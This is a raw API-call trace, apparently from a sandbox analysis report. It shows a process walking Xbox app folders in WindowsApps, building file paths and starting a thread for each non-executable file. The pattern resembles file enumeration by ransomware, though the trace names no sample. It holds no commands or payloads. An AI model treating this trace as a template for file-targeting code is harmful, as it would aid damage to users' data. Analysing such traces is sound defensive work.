	[0089.955] wcscat (in: _Dest=0x477c458, _Source="KnownGameList.bin" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\KnownGameList.bin") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\KnownGameList.bin"
	[0089.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2094
	[0089.956] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5a9451f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x93541eb1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x93541eb1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.956] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.956] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.956] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x47517b8
	[0089.956] wcscpy (in: _Dest=0x47517b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0089.956] wcscat (in: _Dest=0x47517b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0089.956] wcscat (in: _Dest=0x47517b8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47517b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2098
	[0089.957] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c1c5a2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77c427fc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77c427fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.957] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.957] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea540
	[0089.957] wcscpy (in: _Dest=0x47ea540, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0089.957] wcscat (in: _Dest=0x47ea540, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0089.957] wcscat (in: _Dest=0x47ea540, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0089.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x209c
	[0089.958] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c1c5a2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77c427fc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77c427fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0089.958] FindClose (in: hFindFile=0x46a7c58 | out: hFindFile=0x46a7c58) returned 1
	[0089.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50307d8) returned 1
	[0089.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481b898) returned 1
	[0089.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7dbe0) returned 1

Thread:
	id = 1054
	os_tid = 0x1ce8

	[0082.720] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x49251f8
	[0082.720] wcscpy (in: _Dest=0x49251f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0082.720] wcscat (in: _Dest=0x49251f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0082.720] wcscat (in: _Dest=0x49251f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\*"
	[0082.720] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030a40
	[0082.720] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b5b0339, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x678b204, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x678b204, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7c98
	[0082.721] wcscmp (_String1=".", _String2=".") returned 0
	[0082.721] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b5b0339, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x678b204, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x678b204, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.721] wcscmp (_String1="..", _String2=".") returned 1
	[0082.721] wcscmp (_String1="..", _String2="..") returned 0
	[0082.721] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b5b0339, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b5d6572, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b5d6572, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f77, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.721] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.721] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4722b48
	[0082.721] wcscpy (in: _Dest=0x4722b48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0082.721] wcscat (in: _Dest=0x4722b48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0082.721] wcscat (in: _Dest=0x4722b48, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4722b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1674
	[0089.940] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b5b0339, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b5b0339, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b5b0339, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2269, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.940] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.940] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e332a8
	[0089.940] wcscpy (in: _Dest=0x4e332a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0089.940] wcscat (in: _Dest=0x4e332a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0089.940] wcscat (in: _Dest=0x4e332a8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e332a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x205c
	[0089.941] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b5fc7cb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb46b70ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7b5fc7cb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.941] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.941] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.941] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477f990
	[0089.941] wcscpy (in: _Dest=0x477f990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0089.941] wcscat (in: _Dest=0x477f990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0089.941] wcscat (in: _Dest=0x477f990, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0089.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477f990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2060
	[0089.942] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b5d6572, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b5fc7cb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b5fc7cb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.942] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.942] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.942] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33648
	[0089.942] wcscpy (in: _Dest=0x4e33648, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0089.942] wcscat (in: _Dest=0x4e33648, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0089.942] wcscat (in: _Dest=0x4e33648, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e33648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2064
	[0089.943] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b622a24, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb47458bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7b66eedc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0089.943] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.943] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.943] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea470
	[0089.943] wcscpy (in: _Dest=0x47ea470, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0089.943] wcscat (in: _Dest=0x47ea470, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0089.943] wcscat (in: _Dest=0x47ea470, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\Assets"
	[0089.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ea470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2068
	[0089.943] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69513a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b69513a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b69513a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0089.944] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0089.944] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0089.944] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x678b204, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x678b204, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x678b204, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.944] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.944] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x47cc350
	[0089.944] wcscpy (in: _Dest=0x47cc350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0089.944] wcscat (in: _Dest=0x47cc350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0089.944] wcscat (in: _Dest=0x47cc350, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cc350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x206c
	[0089.944] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69513a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b70784a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b70784a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf6358, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.944] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.944] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477f0d0
	[0089.945] wcscpy (in: _Dest=0x477f0d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0089.945] wcscat (in: _Dest=0x477f0d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\"
	[0089.945] wcscat (in: _Dest=0x477f0d0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0089.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2070
	[0089.945] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b70784a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b85ed7b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b85ed7b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x41ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxIdp.dll", cAlternateFileName="")) returned 1
	[0089.945] wcscmp (_String1="XboxIdp.dll", _String2=".") returned 1
	[0089.945] wcscmp (_String1="XboxIdp.dll", _String2="..") returned 1
	[0089.945] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b85ed7b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b85ed7b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b85ed7b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxIdp.exe", cAlternateFileName="")) returned 1
	[0089.945] wcscmp (_String1="XboxIdp.exe", _String2=".") returned 1
	[0089.945] wcscmp (_String1="XboxIdp.exe", _String2="..") returned 1
	[0089.945] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b85ed7b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b884fd9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b884fd9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxIdp.Native.dll", cAlternateFileName="")) returned 1
	[0089.945] wcscmp (_String1="XboxIdp.Native.dll", _String2=".") returned 1
	[0089.945] wcscmp (_String1="XboxIdp.Native.dll", _String2="..") returned 1
	[0089.945] FindNextFileW (in: hFindFile=0x46a7c98, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b884fd9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7b884fd9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7b884fd9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxIdp.Native.winmd", cAlternateFileName="")) returned 1
	[0089.945] wcscmp (_String1="XboxIdp.Native.winmd", _String2=".") returned 1
	[0089.945] wcscmp (_String1="XboxIdp.Native.winmd", _String2="..") returned 1
	[0089.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eae98
	[0089.946] wcscpy (in: _Dest=0x47eae98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
